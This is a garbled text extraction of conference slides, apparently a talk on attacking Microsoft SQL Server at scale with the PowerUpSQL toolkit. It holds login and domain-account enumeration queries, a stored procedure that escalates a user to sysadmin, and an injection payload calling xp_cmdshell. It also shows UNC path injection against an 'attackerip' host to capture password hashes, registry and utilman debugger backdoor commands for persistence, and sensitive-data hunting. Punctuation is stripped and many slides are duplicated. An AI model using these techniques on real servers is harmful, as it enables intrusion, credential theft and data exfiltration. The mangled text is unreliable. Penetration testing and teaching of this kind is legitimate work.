1 Attempt to list all SQL Server logins and fail

2 Get principal id for the sa account with ldquosuser_idrdquo

3 Use ldquosuser_namerdquo to get SQL logins using just principal ID

4 Increment number and repeat

Escalating Privileges Weak PasswordsEnumerating SQL Logins

1 Attempt to list all SQL Server logins and fail

2 Get principal id for the sa account with ldquosuser_idrdquo

3 Use ldquosuser_namerdquo to get SQL logins using just principal ID

4 Increment number and repeat

select n [id] SUSER_NAME(n) [user_name]from ( select top 10000 row_number() over(order by t1number) as Nfrom masterspt_values t1 cross join masterspt_values t2) awhere SUSER_NAME(n) is not null

Code gifted from mobileckSource httpsgistgithubcomConstantineKc6de5d398ec43bab1a29ef07e8c21ec7

Escalating Privileges Weak PasswordsEnumerating Domain Users

1 Get the domain

Domain of SQL Server

Escalating Privileges Weak PasswordsEnumerating Domain Users

1 Get the domain

2 GID RID of default group

Full RID of Domain Admins

group

Escalating Privileges Weak PasswordsEnumerating Domain Users

1 Get the domain

2 GID RID of default group

3 Grab the first 48 Bytes of the full RID RID = 0x0105000000000005150000009CC30DD479441EDEB31027D000020000 SID = 0x0105000000000005150000009CC30DD479441EDEB31027D0

Escalating Privileges Weak PasswordsEnumerating Domain Users

1 Get the domain

2 GID RID of default group

3 Grab the first 48 Bytes of the full RID

4 Create new RID with by appending a hex number value and the SID

1 Start with number 5002 Convert to hex F4013 Pad with 0 to 8 bytes F40100004 Concatenate the SID and the new RID

SID = 0x0105000000000005150000009CC30DD479441EDEB31027D0 RID = 0x0105000000000005150000009CC30DD479441EDEB31027D0F4010000

Escalating Privileges Weak PasswordsEnumerating Domain Users

1 Get the domain

2 GID RID of default group

3 Grab the first 48 Bytes of the full RID

4 Create new RID with by appending a hex number value and the SID

5 Use ldquosuser_namerdquo function to get domain object name

1 Start with number 5002 Convert to hex F4013 Pad with 0 to 8 bytes F40100004 Concatenate the SID and the new RID

SID = 0x0105000000000005150000009CC30DD479441EDEB31027D0 RID = 0x0105000000000005150000009CC30DD479441EDEB31027D0F4010000

Escalating Privileges Weak PasswordsEnumerating Domain Users

1 Get the domain

2 GID RID of default group

3 Grab the first 48 Bytes of the full RID

4 Create new RID with by appending a hex number value and the SID

5 Use ldquosuser_namerdquo function to get domain object name

6 Increment and repeat

1 Start with number 5002 Convert to hex F4013 Pad with 0 to 8 bytes F40100004 Concatenate the SID and the new RID

SID = 0x0105000000000005150000009CC30DD479441EDEB31027D0 RID = 0x0105000000000005150000009CC30DD479441EDEB31027D0F4010000

Escalating Privileges DEMO

DEMOGet-SQLFuzzServerLogin

Invoke-SQLAuditWeakLoginPw

Get-SQLFuzzDomainAccount

>

Escalating Privileges Impersonation

1 Impersonate Privilege

bull Server EXECUTE AS LOGIN

bull Database EXECUTE AS USER

2 Stored Procedure and Trigger Creation Injection Issues

bull EXECUTE AS OWNER

bull Signed with cert login

3 Automatic Execution of Stored Procedures

4 Agent Jobs

bull User Reader and Operator roles

5 xp_cmdshell proxy acount

6 Create Databse Link to File or Server

7 Import Install Custom Assemblies

8 Ad-Hoc Queries

9 Shared Service Accounts

10 Database Links

11 UNC Path Injection

Escalating Privileges ImpersonationImpersonate Privilege

bull Can be used at server layer

o EXECUTE AS LOGIN

bull Can be used at database layer

o EXECUTE AS USER

Prosbull Execute queriescommands in another user

context

Consbull Commands and queries are not limited in any waybull Requires database to be configured as trustworthy

for OS command execution

Escalating Privileges ImpersonationImpersonate Privilege

bull Can be used at server layer

o EXECUTE AS LOGIN

bull Can be used at database layer

o EXECUTE AS USER

Escalating Privileges ImpersonationImpersonate Privilege

bull Can be used at server layer

o EXECUTE AS LOGIN

bull Can be used at database layer

o EXECUTE AS USER

Escalating Privileges ImpersonationStored Procedure and Trigger Creation Injection Issues

bull EXECUTE AS OWNER can be used to execute a stored procedure as another login

Prosbull Can execute queriescommands in another user contextbull Limit commands and queries bull Donrsquot have to grant IMPERSONATE

Consbull No granular control over the database ownerrsquos

privilegesbull DB_OWNER role can EXECUTE AS OWNER of the DB

which is often a sysadminbull Requires database to be configured as trustworthy for

OS command executionbull Impersonation can be done via SQL injection under

specific conditionsbull Impersonation can be done via command injection

under specific conditions

Escalating Privileges ImpersonationStored Procedure and Trigger Creation Injection Issues

bull EXECUTE AS OWNER can be used to execute a stored procedure as another login

bull DB_OWNER role can impersonate the actual database owner

USE MyAppDbGOCREATE PROCEDURE sp_escalate_meWITH EXECUTE AS OWNERASEXEC sp_addsrvrolemember MyAppUsersysadminGO

Escalating Privileges ImpersonationStored Procedure and Trigger Creation Injection Issues

bull EXECUTE AS OWNER can be used to execute a stored procedure as another login

bull DB_OWNER role can impersonate the actual database owner

USE MyAppDbGOCREATE PROCEDURE sp_escalate_meWITH EXECUTE AS OWNERASEXEC sp_addsrvrolemember MyAppUsersysadminGO

SYSADMIN is often the

OWNER

Escalating Privileges ImpersonationStored Procedure and Trigger Creation Injection Issues

bull Use signed Procedures

o Create stored procedure

o Create a database master key

o Create a certificate

o Create a login from the certificate

o Configure login privileges

o Sign stored procedure with certifiate

o GRANT EXECUTE to User

Prosbull Can execute queriescommands in another user

contextbull Limit commands and queries bull Donrsquot have to grant IMPERSONATEbull Granular control over permissionsbull Database does NOT have to be configured as

trustworthy for OS command execution

Consbull Impersonation can be done via SQL injection

under specific conditionsbull Impersonation can be done via command

injection under specific conditions

Escalating Privileges ImpersonationSQL Injection Example CREATE PROCEDURE sp_sqli2

DbName varchar(max) ASBEGINDeclare query as varchar(max)SET query = lsquoSELECT name FROM mastersysdatabases WHERE name like + DbName+ OR name=tempdb EXECUTE(query)ENDGO

httpsblognetspicomhacking-sql-server-stored-procedures-part-3-sqli-and-user-impersonation

Escalating Privileges ImpersonationSQL Injection Example CREATE PROCEDURE sp_sqli2

DbName varchar(max) ASBEGINDeclare query as varchar(max)SET query = lsquoSELECT name FROM mastersysdatabases WHERE name like + DbName+ OR name=tempdb EXECUTE(query)ENDGO

PURE EVIL

httpsblognetspicomhacking-sql-server-stored-procedures-part-3-sqli-and-user-impersonation

Escalating Privileges ImpersonationSQL Injection Example

EXEC MASTERdbosp_sqli2 masterEXEC masterxp_cmdshell whoami--

httpsblognetspicomhacking-sql-server-stored-procedures-part-3-sqli-and-user-impersonation

Escalating Privileges ImpersonationSQL Injection Example

Escalating Privileges ImpersonationAutomatic Execution of Stored Procedure

bull Stored procedures ca be configured to execute when the SQL Server service restarts

Prosbull Marking a stored procedure to run when the SQL

Server service restarts has many use casesbull Only stored procedures in the master database

can be marked for auto execution

Consbull No granular control over what context the startup

command is executed inbull All stored procedures marked for auto execution

are executed as lsquosarsquo even if lsquosarsquo is disabledbull Any non sysadmin access to stored procedures

can lead to execution as lsquosarsquo

Escalating Privileges DEMO

DEMOInvoke-SQLAudit

Escalating Privileges Invoke-SQLPrivEsc

Whooray for Automation Demo

>

Escalating Privileges DEMO

DEMOInvoke-SQLEscalatePriv

Escalating Privileges Invoke-SQLPrivEsc

DEMO

>

EscalatingPrivileges

SysAdmin to Service Account

Escalating Privileges SysAdmin to Service AccountOS Command Execution = Service Account Impersonation

Executing OS Commands xp_cmdshell Custom Assemblies (net) httpsekirkitycomseeclrly-fileless-sql-server-clr-based-custom-stored-procedure-command-execution Custom Extended Stored Procedures (C++) Agent Jobs httpswwwoptivcomblogmssql-agent-jobs-for-command-execution

o ActiveX Vbscript Jscript and Othero CmdExeco PowerShello SSIS Package

Registry Autoruns File Autoruns

Escalating Privileges SysAdmin to Service AccountOS Command Execution = Service Account Impersonation

You donrsquot need to know the password crack a hash or PTH

Service Account Types Local User Local System Network Service Local managed service account Domain managed service account Domain User Domain Admin

Escalating Privileges SysAdmin to Service AccountBut wait therersquos morehellipRottenPotato DerbyCon 2016

bull We can now escalation from service account to LocalSystem

bull No patch that Irsquom aware of

bull Authors Chris Mallz (vvalien1) amp Steve Breen (breenmachine)

Blog

httpsfoxglovesecuritycom20160926rotten-potato-privilege-escalation-from-service-accounts-to-system

Code

httpsgithubcomfoxglovesecRottenPotato

Escalating Privileges Invoke-SQLOSCmdInvoke-SQLOSCMD can be used for basic command execution

PS Cgt$Accessible | Invoke-SQLOSCmd ndashVerbose ndashCommand ldquowhoamirdquo ndashThreads 10 ComputerName Instance CommandResults --------------------- ----------- -------------- SQLServer1 SQLServer1SQLEXPRESS nt servicemssql$sqlexpress SQLServer1 SQLServer1STANDARDDEV2014 nt authoritysystem SQLServer1 SQLServer1 DomainSQLSvc

EscalatingPrivileges

Shared Service Accounts

Escalating Privileges Shared Service AccountsWhy should I care about shared service accounts

1 SysAdmins can execute OS commands2 OS commands run as the SQL Server service account 3 Service accounts have sysadmin privileges by default4 Companies often use a single domain account to run hundreds of SQL Servers5 So if you get sysadmin on one server you have it on all of them

One account to rule them all

Inte

rnet

DM

ZIn

tran

et

LRA HVA

LVA

ADS

LVA

Ports80 and 443

Ports1433 and 1434

HVA

PURE EVIL

Key

HVA = High Value Application

LVA = Low Value Application

Leveraging Shared MS SQL Server Service Accounts

Inte

rnet

DM

ZIn

tran

et

LRA HVA

LVA

ADS

LVA

Ports80 and 443

Ports1433 and 1434

HVA

PURE EVIL

Captain Evil

SQL Injection

1

Key

HVA = High Value Application

LVA = Low Value Application

Leveraging Shared MS SQL Server Service Accounts

Inte

rnet

DM

ZIn

tran

et

LRA HVA

LVA

ADS

LVA

Ports80 and 443

Ports1433 and 1434

HVA

PURE EVIL

Captain Evil

SQL Injection

1

Execute Local Command via xp_cmdshell

2

Key

HVA = High Value Application

LVA = Low Value Application

Leveraging Shared MS SQL Server Service Accounts

Inte

rnet

DM

ZIn

tran

et

LRA HVA

LVA

ADS

LVA

Ports80 and 443

Ports1433 and 1434

HVA

PURE EVIL

Captain Evil

SQL Injection

1

Execute Local Command via xp_cmdshell

2

Access to HVA with shared domain service account

Key

HVA = High Value Application

LVA = Low Value Application

Execute commands and gather data from other

database servers via osql

3

Leveraging Shared MS SQL Server Service Accounts

EscalatingPrivileges

Crawling SQL Server Links

Escalating Privileges Crawling SQL Server LinksWhatrsquos a SQL Server link

SQL Server links are basically persistent database connections for SQL Servers

Why should I care

Short answer = privilege escalation

Public role can use links to execute queries on remote servers (impersonation)

SELECT FROM OpenQuery([SQLSERVER2]rsquoSELECT Versionrsquo)

Stored procedures can be executed (xp_cmdshell)

Links can be crawled

Inte

rnet

DM

ZIn

tran

et

LRA HVA

LVA

ADS

Ports80 and 443

Ports1433 and 1434

HVA

PURE EVIL

Captain EvilKey

HVA = High Value Application

LVA = Low Value Application

Leveraging MS SQL Database links

DB1

LVA

Inte

rnet

DM

ZIn

tran

et

LRA HVA

LVA

ADS

Ports80 and 443

Ports1433 and 1434

HVA

PURE EVIL

Captain Evil

SQL Injection

1

Key

HVA = High Value Application

LVA = Low Value Application

Leveraging MS SQL Database links

DB1

LVA

Inte

rnet

DM

ZIn

tran

et

LRA HVA

LVA

ADS

Ports80 and 443

Ports1433 and 1434

HVA

PURE EVIL

Captain Evil

SQL Injection

1

Key

HVA = High Value Application

LVA = Low Value Application

Leveraging MS SQL Database links

DB Link with

Least Privileges

DB1

LVA

Inte

rnet

DM

ZIn

tran

et

LRA HVA

LVA

ADS

Ports80 and 443

Ports1433 and 1434

HVA

PURE EVIL

Captain Evil

SQL Injection

1

Key

HVA = High Value Application

LVA = Low Value Application

Leveraging MS SQL Database links

DB Link with

Least Privileges

DB Link with

SA account

DB1

LVA

Execute SQL queries and local commands on

database servers via nested linked services

2

Escalating Privileges Crawling SQL Server Links

Penetration Test Stats

Database links exist (and can be crawled) in about 50 of environments wersquove seen

The max number of hops wersquove seen is 12

The max number of servers crawled is 226

Escalating Privileges Crawling Server Links

Old Script

Released 2012 httpswwwrapid7comdbmodulesexploitwindowsmssqlmssql_linkcrawler

New Functions

Author Antti Rantasaari httpsblognetspicomsql-server-link-crawling-powerupsql

Escalating Privileges Crawling Server LinksFunction Description

Get-SQLServerLink Get a list of SQL Server Link on the server

Get-SQLServerLinkCrawl Crawls linked servers and supports SQL query and OS command execution

Examples

Get-SQLServerLinkCrawl -verbose -instance 1029101SQLSERVER2008ldquo

Get-SQLServerLinkCrawl -instance 1029101SQLSERVER2008 -Query ldquoselect from mastersysdatabasesrdquo

Get-SQLServerLinkCrawl -instance 1029101SQLSERVER2008 -Query ldquoexec masterxp_cmdshell lsquowhoamirsquordquo

Escalating Privileges Crawling Server Links

DEMO

Escalating Privileges Database Links

DEMO

>

Escalating Privileges Crawling Server Links

EscalatingPrivileges

UNC Path Injection

Escalating Privileges UNC Path Injection

UNC Path Injection Summary

UNC paths are used for accessing remote file servers like so 19216814file

Almost all procedures that accept a file path in SQL Server support UNC paths

UNC paths can be used to force the SQL Server service account to authenticate to an attacker

An attacker can then capture the NetNTLM password hash and crack or relay it

Relay becomes pretty easy when you know which SQL Servers are using shared accounts

Escalating Privileges UNC Path Injection

Escalating Privileges UNC Path Injection

The Issue

bull By DEFAULT the PUBLIC role can execute at least two procedures that accept a file path

xp_dirtree attackeripfilelsquoxp_fileexists attackeripfilelsquo

The Solution

bull EXECUTE rights on xp_dirtree and fileexists can be REVOKED for the Public role (but no one does that)

UNC Path Injection Cheat Sheetbull httpsgistgithubcomnullbind7dfca2a6309a4209b5aeef181b676c6e

Escalating Privileges UNC Path Injection

Another Issue

bull The Public role can perform UNC path injection into the BACKUP and RESTORE commands

BACKUP LOG [TESTING] TO DISK = attackeripfilelsquoRESTORE LOG [TESTING] FROM DISK = attackeripfile

Partial Solution

bull A patch was released for SQL Server versions 2012 through 2016

httpstechnetmicrosoftcomlibrarysecurityMS16-131

bull There is no fix for SQL Server 2000 to 2008

Escalating Privileges UNC Path Injection

So in summaryhellip

The PUBLIC role can access the SQL Server service account NetNTLM

password hash by default

Escalating Privileges UNC Path Injection

But who really hasPUBLIC role access

Oh yeah a ton of domain users

Escalating Privileges DEMO

DEMOGet-SQLServiceAccountPwHashes

hellipwhat Itrsquos self descriptive

Escalating Privileges UNC Path Injection

DEMO

>

EscalatingPrivileges

OS Admin to SysAdmin

Escalating Privileges OS Admin to SysAdminTwo things to knowhellip

1 Different SQL Server versions can be abused in different ways2 All SQL Server versions provide the service account with sysadmin privileges

Escalating Privileges OS Admin to SysAdmin

Approach 2000 2005 2008 2012 2014 2016

LSA Secrets x x x x x x

Local Administrator x x

LocalSystem x x x

Process Migration x x x x x x

Token Stealing x x x x x X

Single User Mode x x x x x

Below are some options for leveraging that knowledge

Escalating Privileges OS Admin to SysAdminHere are some tool options

Approach Common Tools

Access as Local Administrator Management Studio sqlcmd and other native SQL client tools

Access as LocalSystem Psexec accessibility options debugger with native SQL client tools

Recover SQL Server service account password from LSA Secrets

Mimikatz Metasploit lsadump

Inject shellcode or DLL into the SQL Server service process

Metasploit Empire Python Powershell C C++ (LoadLibraryCreateRemoteThread and similar functions)

Steal Authentication Token From SQL Server service process

Metasploit Incognito Invoke-TokenManipulation

Single User Mode DBATools

Common Post Exploitation Activities

Post Exploitation OverviewCommon Post Exploitation Activities

1 Establish Persistencebull SQL Server Layer startup procedures agent jobs triggers modified codebull OS Layer Registry amp file auto runs tasks services etc

2 Identify Sensitive Databull Target large databasesbull Locate transparently encrypted databasesbull Search columns based on keywords and sample databull Use regular expressions and the Luhn formula against data samples

3 Exfiltrate Sensitive Databull All standard methods Copy database TCP ports UDP ports DNS

tunneling ICMP tunneling email HTTP shares links etc (No exfil in PowerUpSQL yet)

Post Exploitation PersistenceTask Command Example

Registry Autorun Persistence

Get-SQLPersistRegRun -Verbose -Name EvilSauce -Command EvilBoxEvilSandwichexe -Instance SQLServer1STANDARDDEV2014

Debugger Backdoor Persistence

Get-SQLPersistRegDebugger -Verbose -FileName utilmanexe -Command cwindowssystem32cmdexe -Instance SQLServer1STANDARDDEV2014

Post Exploitation Persistence

Post Exploitation Finding Sensitive DataTask Command Example

Locate Encrypted Databases

Get-SQLInstanceDomain -Verbose |Get-SQLDatabaseThreaded ndashVerbose ndashThreads 10 -NoDefaults |Where-Object $_is_encrypted ndasheq ldquoTRUErdquo

Locate and Sample Sensitive Columnsand Export to CSV

Get-SQLInstanceDomain -Verbose | Get-SQLColumnSampleDataThreaded ndashVerbose ndashThreads 10 ndashKeyword ldquocreditssnpasswordrdquo ndashSampleSize 2 ndashValidateCC ndashNoDefaults |Export-CSV ndashNoTypeInformation ctempdatasamplecsv

Post Exploitation Finding Sensitive Data

DEMO

Post Exploitation Finding Sensitive Data

DEMO

>

GeneralRecommendations

General Recommendations1 Enforce least privilege everywhere

2 Disable dangerous default stored procedures

3 Install security patches

4 Audit and fix insecure configurations

5 Use policy based management for standardizing configurations

6 Enable auditing at the server and database levels and monitor for potentially malicious activity

PowerUpSQL Overview Thanks

Individual Third Party Code Direct Contributors

Boe Prox Runspace blogs

Warren F ( RamblingCookieMonster) Invoke-Parallel function

Oyvind Kallstad Test-IsLuhnValid function

Kevin Robertson Invoke-Inveigh

Joe Bialek Invoke-TokenManipulation

Antti Rantasaari Eric Gruber and Alexander Leary leoloobeek and ktaranov

Contributions and QA

Khai Tran Design advice

NetSPI assessment team and dev team Design advice

Speaker Information Questions

Name Scott Sutherland

Job Network amp Application Pentester NetSPI

Twitter _nullbind

Slides httpslidesharenetnullbindhttpslidesharenetnetspi

Blogs httpsblognetspicomauthorscott-sutherland

Code httpsgithubcomnetspiPowerUpSQLhttpsgithubcomnullbind

  • Hacking SQL Server on Scale with PowerShell
  • Speaker Information
  • Presentation Overview
  • Why SQL Server
  • Why PowerShell
  • Slide 6
  • PowerUpSQL Overview Project Goals
  • PowerUpSQL Overview Functions
  • PowerUpSQL Overview Where can I get it
  • PowerUpSQL Overview How do I install it
  • Slide 11
  • SQL Server Basics
  • SQL Server Basics Account Types
  • SQL Server Basics Common Roles
  • Slide 15
  • Find SQL Servers Techniques
  • Find SQL Servers PowerUpSQL
  • Slide 18
  • Testing Login Access Techniques
  • Testing Login Access PowerUpSQL CMDs
  • Testing Login Access PowerUpSQL CMDs (2)
  • Testing Login Access Login CMD Examples
  • Testing Login Access Reusing Result Lists
  • Testing Login Access Domain User Access
  • Testing Login Access Demo
  • Escalating Privileges Domain User
  • Escalating Privileges Domain User (2)
  • Escalating Privileges Domain User (3)
  • Slide 29
  • Escalating Privileges Weak Passwords
  • Escalating Privileges Weak Passwords (2)
  • Escalating Privileges Weak Passwords (3)
  • Escalating Privileges Weak Passwords (4)
  • Escalating Privileges Weak Passwords (5)
  • Escalating Privileges Weak Passwords (6)
  • Escalating Privileges Weak Passwords (7)
  • Escalating Privileges Weak Passwords (8)
  • Escalating Privileges Weak Passwords (9)
  • Escalating Privileges Weak Passwords (10)
  • Escalating Privileges Weak Passwords (11)
  • Escalating Privileges Weak Passwords (12)
  • Escalating Privileges Weak Passwords (13)
  • Escalating Privileges DEMO
  • Slide 44
  • Escalating Privileges Impersonation
  • Escalating Privileges Impersonation (2)
  • Escalating Privileges Impersonation (3)
  • Escalating Privileges Impersonation (4)
  • Escalating Privileges Impersonation (5)
  • Escalating Privileges Impersonation (6)
  • Escalating Privileges Impersonation (7)
  • Escalating Privileges Impersonation (8)
  • Escalating Privileges Impersonation (9)
  • Escalating Privileges Impersonation (10)
  • Escalating Privileges Impersonation (11)
  • Escalating Privileges Impersonation (12)
  • Escalating Privileges Impersonation (13)
  • Escalating Privileges DEMO (2)
  • Escalating Privileges Invoke-SQLPrivEsc
  • Escalating Privileges DEMO (3)
  • Escalating Privileges Invoke-SQLPrivEsc (2)
  • Slide 62
  • Escalating Privileges SysAdmin to Service Account
  • Escalating Privileges SysAdmin to Service Account (2)
  • Escalating Privileges SysAdmin to Service Account (3)
  • Escalating Privileges Invoke-SQLOSCmd
  • Slide 67
  • Escalating Privileges Shared Service Accounts
  • Slide 69
  • Slide 70
  • Slide 71
  • Slide 72
  • Slide 73
  • Escalating Privileges Crawling SQL Server Links
  • Slide 75
  • Slide 76
  • Slide 77
  • Slide 78
  • Escalating Privileges Crawling SQL Server Links (2)
  • Escalating Privileges Crawling Server Links
  • Escalating Privileges Crawling Server Links (2)
  • Escalating Privileges Crawling Server Links (3)
  • Escalating Privileges Database Links
  • Escalating Privileges Crawling Server Links (4)
  • Slide 85
  • Escalating Privileges UNC Path Injection
  • Escalating Privileges UNC Path Injection (2)
  • Escalating Privileges UNC Path Injection (3)
  • Escalating Privileges UNC Path Injection (4)
  • Escalating Privileges UNC Path Injection (5)
  • Escalating Privileges UNC Path Injection (6)
  • Escalating Privileges DEMO (4)
  • Escalating Privileges UNC Path Injection (7)
  • Slide 94
  • Escalating Privileges OS Admin to SysAdmin
  • Escalating Privileges OS Admin to SysAdmin (2)
  • Escalating Privileges OS Admin to SysAdmin (3)
  • Slide 98
  • Post Exploitation Overview
  • Post Exploitation Persistence
  • Post Exploitation Persistence (2)
  • Post Exploitation Finding Sensitive Data
  • Post Exploitation Finding Sensitive Data (2)
  • Post Exploitation Finding Sensitive Data (3)
  • Slide 105
  • General Recommendations
  • PowerUpSQL Overview Thanks
  • Speaker Information Questions
Page 24: 2017 OWASP SanFran March Meetup - Hacking SQL Server on Scale with PowerShell

Testing Login Access Domain User Access

DEMO

Testing Login Access Demo

DEMO

>

Escalating Privileges Domain UserWhy can Domain Users login into so many SQL Servers

Admins give them access

Privilege inheritance issue on domain systems = Public role access

SQL Server Express is commonly vulnerable

Escalating Privileges Domain UserWhy can Domain Users login into so many SQL Servers

Admins give them access

Privilege inheritance issue on domain systems = Public role access

SQL Server Express is commonly vulnerable

Escalating Privileges Domain UserWhy can Domain Users login into so many SQL Servers

Admins give them access

Privilege inheritance issue on domain systems = Public role access

SQL Server Express is commonly vulnerable

EscalatingPrivileges

SQL Login to SysAdmin

Escalating Privileges Weak PasswordsDidnrsquot we just cover this Yes but therersquos morehellip

Technique PowerUpSQL Function

Dictionary Attack Invoke-SQLAuditWeakLoginPw

Default Password Test Invoke-SQLAuditDefaultLoginPw

Local Windows or ADS Domain Account

Get-SQLConnectionTestThreaded

Escalating Privileges Weak Passwordshellipwe can also enumerate SQL Server logins and Domain Accounts

Technique PowerUpSQL Function

Blind Login Enumeration+

Dictionary Attack =

Super Cool

Invoke-SQLAuditWeakLoginPw

bull Enumerate all SQL Server logins with the Public role

bull Enumerate all domain accounts with the Public role

Escalating Privileges Weak PasswordsEnumerating SQL Logins

1 Attempt to list all SQL Server logins and fail

Escalating Privileges Weak PasswordsEnumerating SQL Logins

1 Attempt to list all SQL Server logins and fail

2 Get principal id for the sa account with ldquosuser_idrdquo

Escalating Privileges Weak PasswordsEnumerating SQL Logins

1 Attempt to list all SQL Server logins and fail

2 Get principal id for the sa account with ldquosuser_idrdquo

3 Use ldquosuser_namerdquo to get SQL logins using just principal ID

Escalating Privileges Weak PasswordsEnumerating SQL Logins

1 Attempt to list all SQL Server logins and fail

2 Get principal id for the sa account with ldquosuser_idrdquo

3 Use ldquosuser_namerdquo to get SQL logins using just principal ID

4 Increment number and repeat

Escalating Privileges Weak PasswordsEnumerating SQL Logins

1 Attempt to list all SQL Server logins and fail

2 Get principal id for the sa account with ldquosuser_idrdquo

3 Use ldquosuser_namerdquo to get SQL logins using just principal ID

4 Increment number and repeat

select n [id] SUSER_NAME(n) [user_name]from ( select top 10000 row_number() over(order by t1number) as Nfrom masterspt_values t1 cross join masterspt_values t2) awhere SUSER_NAME(n) is not null

Code gifted from mobileckSource httpsgistgithubcomConstantineKc6de5d398ec43bab1a29ef07e8c21ec7

Escalating Privileges Weak PasswordsEnumerating Domain Users

1 Get the domain

Domain of SQL Server

Escalating Privileges Weak PasswordsEnumerating Domain Users

1 Get the domain

2 GID RID of default group

Full RID of Domain Admins

group

Escalating Privileges Weak PasswordsEnumerating Domain Users

1 Get the domain

2 GID RID of default group

3 Grab the first 48 Bytes of the full RID RID = 0x0105000000000005150000009CC30DD479441EDEB31027D000020000 SID = 0x0105000000000005150000009CC30DD479441EDEB31027D0

Escalating Privileges Weak PasswordsEnumerating Domain Users

1 Get the domain

2 GID RID of default group

3 Grab the first 48 Bytes of the full RID

4 Create new RID with by appending a hex number value and the SID

1 Start with number 5002 Convert to hex F4013 Pad with 0 to 8 bytes F40100004 Concatenate the SID and the new RID

SID = 0x0105000000000005150000009CC30DD479441EDEB31027D0 RID = 0x0105000000000005150000009CC30DD479441EDEB31027D0F4010000

Escalating Privileges Weak PasswordsEnumerating Domain Users

1 Get the domain

2 GID RID of default group

3 Grab the first 48 Bytes of the full RID

4 Create new RID with by appending a hex number value and the SID

5 Use ldquosuser_namerdquo function to get domain object name

1 Start with number 5002 Convert to hex F4013 Pad with 0 to 8 bytes F40100004 Concatenate the SID and the new RID

SID = 0x0105000000000005150000009CC30DD479441EDEB31027D0 RID = 0x0105000000000005150000009CC30DD479441EDEB31027D0F4010000

Escalating Privileges Weak PasswordsEnumerating Domain Users

1 Get the domain

2 GID RID of default group

3 Grab the first 48 Bytes of the full RID

4 Create new RID with by appending a hex number value and the SID

5 Use ldquosuser_namerdquo function to get domain object name

6 Increment and repeat

1 Start with number 5002 Convert to hex F4013 Pad with 0 to 8 bytes F40100004 Concatenate the SID and the new RID

SID = 0x0105000000000005150000009CC30DD479441EDEB31027D0 RID = 0x0105000000000005150000009CC30DD479441EDEB31027D0F4010000

Escalating Privileges DEMO

DEMOGet-SQLFuzzServerLogin

Invoke-SQLAuditWeakLoginPw

Get-SQLFuzzDomainAccount

>

Escalating Privileges Impersonation

1 Impersonate Privilege

bull Server EXECUTE AS LOGIN

bull Database EXECUTE AS USER

2 Stored Procedure and Trigger Creation Injection Issues

bull EXECUTE AS OWNER

bull Signed with cert login

3 Automatic Execution of Stored Procedures

4 Agent Jobs

bull User Reader and Operator roles

5 xp_cmdshell proxy acount

6 Create Databse Link to File or Server

7 Import Install Custom Assemblies

8 Ad-Hoc Queries

9 Shared Service Accounts

10 Database Links

11 UNC Path Injection

Escalating Privileges ImpersonationImpersonate Privilege

bull Can be used at server layer

o EXECUTE AS LOGIN

bull Can be used at database layer

o EXECUTE AS USER

Prosbull Execute queriescommands in another user

context

Consbull Commands and queries are not limited in any waybull Requires database to be configured as trustworthy

for OS command execution

Escalating Privileges ImpersonationImpersonate Privilege

bull Can be used at server layer

o EXECUTE AS LOGIN

bull Can be used at database layer

o EXECUTE AS USER

Escalating Privileges ImpersonationImpersonate Privilege

bull Can be used at server layer

o EXECUTE AS LOGIN

bull Can be used at database layer

o EXECUTE AS USER

Escalating Privileges ImpersonationStored Procedure and Trigger Creation Injection Issues

bull EXECUTE AS OWNER can be used to execute a stored procedure as another login

Prosbull Can execute queriescommands in another user contextbull Limit commands and queries bull Donrsquot have to grant IMPERSONATE

Consbull No granular control over the database ownerrsquos

privilegesbull DB_OWNER role can EXECUTE AS OWNER of the DB

which is often a sysadminbull Requires database to be configured as trustworthy for

OS command executionbull Impersonation can be done via SQL injection under

specific conditionsbull Impersonation can be done via command injection

under specific conditions

Escalating Privileges ImpersonationStored Procedure and Trigger Creation Injection Issues

bull EXECUTE AS OWNER can be used to execute a stored procedure as another login

bull DB_OWNER role can impersonate the actual database owner

USE MyAppDbGOCREATE PROCEDURE sp_escalate_meWITH EXECUTE AS OWNERASEXEC sp_addsrvrolemember MyAppUsersysadminGO

Escalating Privileges ImpersonationStored Procedure and Trigger Creation Injection Issues

bull EXECUTE AS OWNER can be used to execute a stored procedure as another login

bull DB_OWNER role can impersonate the actual database owner

USE MyAppDbGOCREATE PROCEDURE sp_escalate_meWITH EXECUTE AS OWNERASEXEC sp_addsrvrolemember MyAppUsersysadminGO

SYSADMIN is often the

OWNER

Escalating Privileges ImpersonationStored Procedure and Trigger Creation Injection Issues

bull Use signed Procedures

o Create stored procedure

o Create a database master key

o Create a certificate

o Create a login from the certificate

o Configure login privileges

o Sign stored procedure with certifiate

o GRANT EXECUTE to User

Prosbull Can execute queriescommands in another user

contextbull Limit commands and queries bull Donrsquot have to grant IMPERSONATEbull Granular control over permissionsbull Database does NOT have to be configured as

trustworthy for OS command execution

Consbull Impersonation can be done via SQL injection

under specific conditionsbull Impersonation can be done via command

injection under specific conditions

Escalating Privileges ImpersonationSQL Injection Example CREATE PROCEDURE sp_sqli2

DbName varchar(max) ASBEGINDeclare query as varchar(max)SET query = lsquoSELECT name FROM mastersysdatabases WHERE name like + DbName+ OR name=tempdb EXECUTE(query)ENDGO

httpsblognetspicomhacking-sql-server-stored-procedures-part-3-sqli-and-user-impersonation

Escalating Privileges ImpersonationSQL Injection Example CREATE PROCEDURE sp_sqli2

DbName varchar(max) ASBEGINDeclare query as varchar(max)SET query = lsquoSELECT name FROM mastersysdatabases WHERE name like + DbName+ OR name=tempdb EXECUTE(query)ENDGO

PURE EVIL

httpsblognetspicomhacking-sql-server-stored-procedures-part-3-sqli-and-user-impersonation

Escalating Privileges ImpersonationSQL Injection Example

EXEC MASTERdbosp_sqli2 masterEXEC masterxp_cmdshell whoami--

httpsblognetspicomhacking-sql-server-stored-procedures-part-3-sqli-and-user-impersonation

Escalating Privileges ImpersonationSQL Injection Example

Escalating Privileges ImpersonationAutomatic Execution of Stored Procedure

bull Stored procedures ca be configured to execute when the SQL Server service restarts

Prosbull Marking a stored procedure to run when the SQL

Server service restarts has many use casesbull Only stored procedures in the master database

can be marked for auto execution

Consbull No granular control over what context the startup

command is executed inbull All stored procedures marked for auto execution

are executed as lsquosarsquo even if lsquosarsquo is disabledbull Any non sysadmin access to stored procedures

can lead to execution as lsquosarsquo

Escalating Privileges DEMO

DEMOInvoke-SQLAudit

Escalating Privileges Invoke-SQLPrivEsc

Whooray for Automation Demo

>

Escalating Privileges DEMO

DEMOInvoke-SQLEscalatePriv

Escalating Privileges Invoke-SQLPrivEsc

DEMO

>

EscalatingPrivileges

SysAdmin to Service Account

Escalating Privileges SysAdmin to Service AccountOS Command Execution = Service Account Impersonation

